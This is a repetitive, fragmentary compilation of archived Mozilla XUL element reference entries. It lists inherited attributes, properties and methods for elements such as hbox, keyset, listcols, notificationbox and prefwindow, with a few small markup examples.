example <!-- two button on the right --> <hbox> <spacer flex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, vbox ...
iframe - Archive of obsolete content
this can be used to workaround things like bug 540911 inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related nsiaccessibleprovider ...
keyset - Archive of obsolete content
attributes disabled examples <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
listcol - Archive of obsolete content
x="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
listcols - Archive of obsolete content
<listcol flex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
listhead - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), geta...
...ttributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listcols, listheader, listitem ...
listheader - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), ...
...getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listcols, listhead, listitem ...
member - Archive of obsolete content
properties child, container examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
notificationbox - Archive of obsolete content
currentnotification, allnotifications, notificationshidden methods appendnotification, getnotificationwithvalue, removeallnotifications, removecurrentnotification, removenotification, removetransientnotifications, attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
observes - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
page - Archive of obsolete content
ArchiveMozillaXULpage
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
popupset - Archive of obsolete content
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="clipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements popup, menupopup ...
prefwindow - Archive of obsolete content
ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata acceptdialog() return type: no return value accepts the dialog and closes it, similar to pressing the ok button.
...uments[0]); // we expect a single parameter to be passed to the window } function initwithparams(aparams) { // this will also get called when an already open window is activated using openwindow() } closing a prefwindow sometimes you need to do things when the prefwindow is closed, such as things that can't (or shouldn't) be handled as preferences, such as saving passwords or updating sqlite data.
progressmeter - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
queryset - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inh...
...erited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getus...
...erdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
resizer - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
row - Archive of obsolete content
ArchiveMozillaXULrow
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, rows.
rows - Archive of obsolete content
ArchiveMozillaXULrows
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, row.
rule - Archive of obsolete content
ArchiveMozillaXULrule
when no query element is used in a template, a default query is used and the simple query syntax may be used for rdf datasources.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
script - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollbox - Archive of obsolete content
